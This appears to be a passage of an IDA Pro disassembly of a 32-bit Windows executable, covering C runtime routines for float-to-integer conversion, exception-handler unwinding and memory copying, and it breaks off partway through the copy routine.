; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41D13C	proc near		; CODE XREF: sub_41D124p
		mov	eax, offset sub_422540
		mov	off_43D434, offset sub_4221D5
		mov	off_43D430, eax
		mov	off_43D438, offset sub_42223B
		mov	off_43D43C, offset sub_42217B
		mov	off_43D440, offset sub_422223
		mov	off_43D444, eax
		retn
sub_41D13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D174	proc near		; CODE XREF: sub_40D2F4+1Bp
					; sub_40D2F4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41D174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D19B(double)

sub_41D19B	proc near		; CODE XREF: sub_40D340+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE38
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D221
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D204
		cmp	eax, 2
		jle	short loc_41D1F6
		cmp	eax, 3
		jnz	short loc_41D204
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D266
; ---------------------------------------------------------------------------

loc_41D1F6:				; CODE XREF: sub_41D19B+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------

loc_41D204:				; CODE XREF: sub_41D19B+3Aj
					; sub_41D19B+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------

loc_41D221:				; CODE XREF: sub_41D19B+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D244

loc_41D236:				; CODE XREF: sub_41D19B+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------

loc_41D244:				; CODE XREF: sub_41D19B+99j
		test	bl, 20h
		jnz	short loc_41D236
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_41D25E:				; CODE XREF: sub_41D19B+84j
		call	sub_4218B4
		add	esp, 1Ch

loc_41D266:				; CODE XREF: sub_41D19B+59j
					; sub_41D19B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D26A	proc near		; CODE XREF: ___:00422A22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D26A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D29E	proc near		; CODE XREF: sub_422B62+199p
					; sub_422D26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D29E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2A5	proc near		; CODE XREF: sub_422B62+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D2AC	proc near		; CODE XREF: sub_41D45E+5Cp
					; sub_4229B1:loc_4229E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D2D4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426356
sub_41D2AC	endp

; ---------------------------------------------------------------------------

loc_41D2D4:				; DATA XREF: sub_41D2AC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_41D2FB:				; CODE XREF: ___:00426AACj
					; ___:00426AC9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4225B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D331	proc near		; CODE XREF: sub_422A2C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D385
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422DB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D385	proc near		; DATA XREF: sub_41D331+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3AA	proc near		; CODE XREF: sub_4227F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D45E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D430
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBE80
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_41D430:				; DATA XREF: sub_41D3AA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D44D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D456
; ---------------------------------------------------------------------------

loc_41D44D:				; CODE XREF: sub_41D3AA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41D456:				; CODE XREF: sub_41D3AA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D45E	proc near		; DATA XREF: sub_41D3AA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D481
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D4CE
; ---------------------------------------------------------------------------

loc_41D481:				; CODE XREF: sub_41D45E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D4BF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D2AC
; ---------------------------------------------------------------------------

loc_41D4BF:				; CODE XREF: sub_41D45E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41D4CE:				; CODE XREF: sub_41D45E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D3	proc near		; CODE XREF: sub_422651+C6p
					; sub_4227F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D52A

loc_41D4F1:				; CODE XREF: sub_41D4D3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D4FB
		call	sub_422E52

loc_41D4FB:				; CODE XREF: sub_41D4D3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D510
		cmp	ecx, [eax+8]
		jle	short loc_41D515

loc_41D510:				; CODE XREF: sub_41D4D3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D521

loc_41D515:				; CODE XREF: sub_41D4D3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_41D521:				; CODE XREF: sub_41D4D3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D4F1
		mov	eax, [ebp+var_4]

loc_41D52A:				; CODE XREF: sub_41D4D3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D53E
		cmp	esi, eax
		jbe	short loc_41D543

loc_41D53E:				; CODE XREF: sub_41D4D3+65j
		call	sub_422E52

loc_41D543:				; CODE XREF: sub_41D4D3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D4D3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D550	proc near		; CODE XREF: sub_423CC0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41D568
		push	[ebp+arg_0]
		call	sub_426356
sub_41D550	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D568	proc near		; DATA XREF: sub_41D550+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D568	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D570	proc near		; DATA XREF: sub_41D592+Ao
					; sub_41D5FA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D591:				; CODE XREF: sub_41D570+10j
		retn
sub_41D570	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D592	proc near		; CODE XREF: sub_422AD2+Dp
					; sub_423CC0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D570
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_41D5AF:				; CODE XREF: sub_41D592:loc_41D5EAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D5EC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D5EC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D5EA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D626
		call	dword ptr [ebx+esi*4+8]

loc_41D5EA:				; CODE XREF: sub_41D592+44j
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------

loc_41D5EC:				; CODE XREF: sub_41D592+2Aj
					; sub_41D592+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FA	proc near		; CODE XREF: sub_422AF2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D570
		jnz	short locret_41D61C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D61C
		mov	eax, 1

locret_41D61C:				; CODE XREF: sub_41D5FA+10j
					; sub_41D5FA+1Bj
		retn
sub_41D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D61D	proc near		; CODE XREF: sub_422DB0+1Ep
					; sub_422DB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE3C
		jmp	short loc_41D630
sub_41D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D626	proc near		; CODE XREF: sub_41D592+4Fp
					; sub_423CC0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE3C
		mov	ecx, [ebp+8]

loc_41D630:				; CODE XREF: sub_41D61D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D626	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_40D340+5p
					; sub_40D4E2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D640	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D65F	proc near		; CODE XREF: sub_40D977+26p
					; ___:004260F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA91
		pop	ecx
		retn
sub_41D65F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D670	proc near		; CODE XREF: sub_40D9E8+3Ap
					; sub_41E742+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D690
		cmp	edi, eax
		jb	loc_41D808

loc_41D690:				; CODE XREF: sub_41D670+16j
		test	edi, 3
		jnz	short loc_41D6AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------

loc_41D6AC:				; CODE XREF: sub_41D670+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D6C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------

loc_41D6C4:				; CODE XREF: sub_41D670+46j
		jmp	dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41D6CC:				; CODE XREF: sub_41D670+31j
					; sub_41D670+8Ej ...
		jmp	off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6E0
		dd offset loc_41D70C
		dd offset loc_41D730
; ---------------------------------------------------------------------------

loc_41D6E0:				; DATA XREF: sub_41D670+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41D70C:				; DATA XREF: sub_41D670+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41D730:				; DATA XREF: sub_41D670+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D74C	dd offset loc_41D7AF	; DATA XREF: sub_41D670:loc_41D6CCr
		dd offset loc_41D79C
		dd offset loc_41D794
		dd offset loc_41D78C
		dd offset loc_41D784
		dd offset loc_41D77C
		dd offset loc_41D774
		dd offset loc_41D76C
; ---------------------------------------------------------------------------

loc_41D76C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41D774:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41D77C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41D784:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41D78C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41D794:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41D79C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41D7AF:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670:off_41D74Co
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D7B8	dd offset loc_41D7C8	; DATA XREF: sub_41D670+35r
					; sub_41D670+92r ...
		dd offset loc_41D7D0
		dd offset loc_41D7DC
		dd offset loc_41D7F0
; ---------------------------------------------------------------------------

loc_41D7C8:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41D7D0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41D7DC:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41D7F0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41D808:				; CODE XREF: sub_41D670+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D83C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41D830:				; CODE XREF: sub_41D670+1B1j
					; sub_41D670+208j ...
		neg	ecx
		jmp	off_41D900[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41D83C:				; CODE XREF: sub_41D670+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D854
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------

loc_41D854:				; CODE XREF: sub_41D670+1D6j
					; DATA XREF: sub_41D670+1DDr
		jmp	off_41D950[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	880041D8h
		fadd	dword ptr [ecx+0]
		mov	al, 0D8h
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D904
		dd offset loc_41D90C
		dd offset loc_41D914
		dd offset loc_41D91C
		dd offset loc_41D924
		dd offset loc_41D92C
		dd offset loc_41D934
off_41D900	dd offset loc_41D947	; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------

loc_41D904:				; DATA XREF: sub_41D670+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41D90C:				; DATA XREF: sub_41D670+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41D914:				; DATA XREF: sub_41D670+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41D91C:				; DATA XREF: sub_41D670+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_41D924:				; DATA XREF: sub_41D670+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41D92C:				; DATA XREF: sub_41D670+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41D934:				; DATA XREF: sub_41D670+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41D947:				; CODE XREF: sub_41D670+1C2j
					; DATA XREF: sub_41D670:off_41D900o
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D950	dd offset loc_41D960	; DATA XREF: sub_41D670+1B7r
					; sub_41D670:loc_41D854r ...
		dd offset loc_41D968
		dd offset loc_41D978
		dd offset loc_41D98C
; ---------------------------------------------------------------------------

loc_41D960:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41D968:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41D978:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
